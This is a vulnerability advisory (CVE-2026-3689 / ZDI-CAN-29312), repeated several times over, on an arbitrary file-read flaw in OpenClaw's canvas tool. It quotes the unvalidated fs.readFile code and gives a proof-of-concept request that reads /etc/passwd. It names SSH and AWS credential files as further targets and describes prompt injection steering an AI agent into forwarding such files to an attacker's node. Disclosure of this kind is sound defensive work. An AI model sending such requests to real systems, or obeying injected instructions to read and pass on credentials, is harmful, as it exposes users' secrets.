CVE-2026-3689

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------

• Version tested: openclaw 2026.2.17
• Platform tested: macOS 26.3

Analysis

Description

The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.

Root Cause

In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:

case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
  return jsonResult({ ok: true });
}

The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:

• No allowlist of permitted directories
• No canonicalization (path.resolve / realpath)
• No check against directory traversal sequences (..)
• No restriction to .jsonl file extensions

Attack Scenario

Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
  }
}

The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.

Reproduction Steps

Prerequisites

• Docker installed
• Python 3
• OpenClaw Docker image built as openclaw:local

Steps

1. Navigate to the PoC directory and start the environment:

   cd vulnerabilities/01-canvas-a2ui-push-lfi
   docker compose up -d --wait
   

2. This starts two containers:

   • Gateway (openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701
   • Node (openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)

3. Wait a few seconds for the node to authenticate, then run the PoC:

   python3 poc.py
   

4. The PoC runs three tests:

   | Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | 401 Unauthorized | | 2 ��� Exploit | POST /tools/invoke with token, jsonlPath=/etc/passwd | 200 OK (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | /etc/passwd contents visible |

5. Test 2 sends: {"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads /etc/passwd via fs.readFile() and forwards the contents to the node via canvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:

   [node] ======…
   

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------

• Version tested: openclaw 2026.2.17
• Platform tested: macOS 26.3

Analysis

Description

The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.

Root Cause

In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:

case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
  return jsonResult({ ok: true });
}

The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:

• No allowlist of permitted directories
• No canonicalization (path.resolve / realpath)
• No check against directory traversal sequences (..)
• No restriction to .jsonl file extensions

Attack Scenario

Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
  }
}

The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.

Reproduction Steps

Prerequisites

• Docker installed
• Python 3
• OpenClaw Docker image built as openclaw:local

Steps

1. Navigate to the PoC directory and start the environment:

   cd vulnerabilities/01-canvas-a2ui-push-lfi
   docker compose up -d --wait
   

2. This starts two containers:

   • Gateway (openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701
   • Node (openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)

3. Wait a few seconds for the node to authenticate, then run the PoC:

   python3 poc.py
   

4. The PoC runs three tests:

   | Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | 401 Unauthorized | | 2 ��� Exploit | POST /tools/invoke with token, jsonlPath=/etc/passwd | 200 OK (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | /etc/passwd contents visible |

5. Test 2 sends: {"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads /etc/passwd via fs.readFile() and forwards the contents to the node via canvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:

   [node] ======…